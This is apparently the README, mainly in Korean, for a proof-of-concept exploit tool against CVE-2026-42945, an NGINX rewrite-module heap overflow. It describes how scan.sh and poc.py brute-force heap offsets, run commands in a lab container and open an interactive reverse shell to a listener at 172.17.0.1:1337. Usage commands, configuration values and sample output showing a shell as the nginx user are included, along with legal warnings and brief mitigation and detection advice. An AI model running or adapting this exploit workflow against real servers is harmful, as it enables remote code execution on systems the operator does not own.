
NGINX 컨테이너에서 CVE-2026-42945 악용을 자동화합니다: 취약한 대상을 검증하고, 힙 오프셋을 브루트포스하며, 명령을 실행하고, 대화형 리버스 셸을 엽니다.
nginx-rift 컨테이너의 RCE 익스플로잇을 위한 PoC 자동화 드라이버 · 대상 검증 → 단일 명령 익스플로잇 → 대화형 리버스 셸
단일 명령으로 컨테이너 확인부터 셸 획득까지 전체 익스플로잇 흐름을 오케스트레이션합니다.
⚠️ 윤리적 및 법적 경고 이 도구는 합법적이고 승인된 보안 테스트 전용입니다 — 계약된 펜테스트, 랩/CTF, 또는 본인 소유 자산. 시스템 소유자의 허가 없이 사용하는 것은 범죄 행위입니다(UU ITE, Computer Fraud and Abuse Act 등). 사용자는 그 사용에 대해 전적인 책임을 집니다.
CVE-2026-42945는 NGINX "Rift" 구성에서 발생하는 원격 코드 실행(RCE) 취약점입니다 — ngx_http_rewrite_module 모듈의 힙 기반 버퍼 오버플로 버그로, 특정 location 블록(/api/users/...)을 통해 트리거됩니다. 그 결과 공격자는 컨테이너 내부에서 system() 핸들러를 통해 명령을 실행할 수 있습니다.
이 저장소에는 2개의 구성 요소가 포함되어 있습니다:
| 파일 | 기능 |
|---|---|
poc.py | 익스플로잇 드라이버 — 힙 오프셋 브루트포스, 두 가지 모드: --cmd(단일 명령) & --shell(리버스 셸) |
scan.sh | 자동화 오케스트레이터 — 대상 검증, PoC 실행, 결과 검증 및 대화형 셸 세션 |
┌─────────────────────────────┐
│ scan.sh │
│ Mode: auto / cmd / shell │
└─────────────┬───────────────┘
▼
[0] Preflight
cek docker, curl, python3,
nc, timeout + poc.py ada
▼
[1] Verifikasi Target
docker ps (label compose)
→ curl /api/users/42 (HTTP 200)
▼
[2] PoC --cmd (max 3× retry)
python3 poc.py --cmd 'echo hello
from depthfirst > /tmp/pwned'
│
▼ (timeout 300s per attempt)
Verifikasi ground-truth:
docker exec cat /tmp/pwned
▼
[3] PoC --shell (opsional)
listener 172.17.0.1:1337
→ prompt /bin/sh interaktif
운영자(스크립트가 실행되는 호스트):
docker(sudo 사용 또는 docker 그룹의 사용자)python3 + poc.py(scan.sh와 같은 디렉터리)curl, nc(netcat), timeout(coreutils)대상(랩):
nginx-rift 컨테이너가 실행 중(docker compose로 프로비저닝됨)19321이 127.0.0.1에서 열려 있음172.17.0.1)# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift
# 2. Pastikan executable
chmod +x scan.sh
# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout
scan.sh와 poc.py는 같은 디렉터리에 있어야 합니다.
./scan.sh # alur lengkap (default: auto)
./scan.sh cmd # hanya PoC single-command + verifikasi marker
./scan.sh shell # langsung reverse-shell interaktif
./scan.sh help # tampilkan bantuan
auto 모드(기본값)--cmd — 컨테이너 내부의 /tmp/pwned에 마커 hello from depthfirst 작성(자동 재시도 최대 3회, 시도당 300초 타임아웃).docker exec cat /tmp/pwned에 마커가 포함되어야 합니다(단순 출력 확인이 아닌 실측(ground-truth) 검증).y를 입력하면 대화형 세션.shell 모드./scan.sh shell
172.17.0.1:1337 리스너로 poc.py --shell을 실행합니다. 브루트포스가 성공하면 컨테이너 내부에서 NGINX worker 사용자로 대화형 /bin/sh 프롬프트를 얻습니다.
참고: IP
172.17.0.1은 기본 Docker 브리지의 호스트 주소입니다. 브리지가 다른 경우(docker network inspect bridge),scan.sh상단의LISTEN_IP변수를 변경하세요.
모든 매개변수는 scan.sh 상단의 구성 블록에 모여 있습니다:
┌──────────────────────────────────────────────────────────────┐
│ NGINX RIFT · CVE-2026-42945 · PoC Automation Driver │
└──────────────────────────────────────────────────────────────┘
── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)
── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42
── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...
[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)
[?] Lanjut ke reverse-shell interaktif? [y/N]: y
── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force
[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)
ngx_http_rewrite_module을 수정한 버전으로 업그레이드 / Rift 구성 제거.0.0.0.0으로 노출하지 말 것; 내부 네트워크 + WAF가 있는 리버스 프록시 사용.--privileged로 컨테이너를 실행하지 말 것./api/users/로의 비정상 요청(비숫자 패턴, 긴 페이로드)에 대한 알림, nginx 프로세스에서 /bin/sh 실행(spawn) 탐지.CVE-2026-42945_NginxRift/
├── scan.sh # Automation orchestrator (bash) — verifikasi, PoC, verifikasi marker, shell
├── poc.py # Exploit driver (python) — brute-force heap offset, mode --cmd / --shell
└── README.md # Dokumentasi ini
합법적인 사용 전용입니다. 이 도구는 다음을 위해 만들어졌습니다:
어떤 인프라에서든 이 도구를 실행하기 전에 시스템 소유자의 서면 허가가 필수입니다.
저장소는 어떠한 보증 없이 "있는 그대로(as-is)" 제공됩니다. 기여자는 오용에 대해 책임지지 않습니다.
라이선스: MIT
| 항목 | 세부 정보 |
|---|
| CVE | CVE-2026-42945 |
| 유형 | 원격 코드 실행 (RCE) |
| 구성 요소 | NGINX (ngx_http_rewrite_module) — "Rift" 구성 |
| 트리거 | 취약한 location 블록(/api/users/{id})으로의 요청 |
| 영향 | 컨테이너 내부에서 NGINX worker 사용자로 임의 명령 실행 |
| 랩 설정 | nginx-rift-nginx-1 컨테이너 — 호스트 포트 19321 |
| 변수 | 기본값 | 기능 |
|---|
DOCKER | sudo docker | 사용자가 docker 그룹에 있으면 docker로 변경 |
PROJECT_LABEL | com.docker.compose.project=nginx-rift | 컨테이너 식별 필터 |
CONTAINER | nginx-rift-nginx-1 | 대상 컨테이너 이름 |
TARGET_HOST / TARGET_PORT | 127.0.0.1 / 19321 | 대상 주소 |
LISTEN_IP / LISTEN_PORT | 172.17.0.1 / 1337 | 리버스 셸 리스너 |
MARKER_FILE / MARKER_EXPECT | /tmp/pwned / hello from depthfirst | 실행 검증 |
CMD_TIMEOUT | 300 | 시도당 시간 제한(초) |
MAX_ATTEMPTS | 3 | PoC --cmd 재시도 횟수 |
| 문제 | 해결 방법 |
|---|
Container ... tidak berjalan | cd <project-dir> && sudo docker compose up -d 실행 후 다시 시도 |
HTTP 000 / connection refused | 포트 19321이 아직 준비되지 않음 — 몇 초 기다린 후 docker ps 확인 |
File 'poc.py' tidak ditemukan | 저장소 디렉터리에서 scan.sh 실행(poc.py는 같은 디렉터리에 있어야 함) |
PoC --cmd 계속 실패(3×) | MAX_ATTEMPTS / CMD_TIMEOUT 증가; 커널 및 NGINX 버전이 랩과 일치하는지 확인 |
| 리버스 셸 연결 안 됨 | LISTEN_IP가 브리지와 일치하는지 확인(docker network inspect bridge); 포트 1337이 사용 중이지 않은지 확인 |
unrecognized arguments 오류 | poc.py 버전이 --listen-ip/--listen-port 플래그를 지원하는지 확인(python3 poc.py -h 참조) |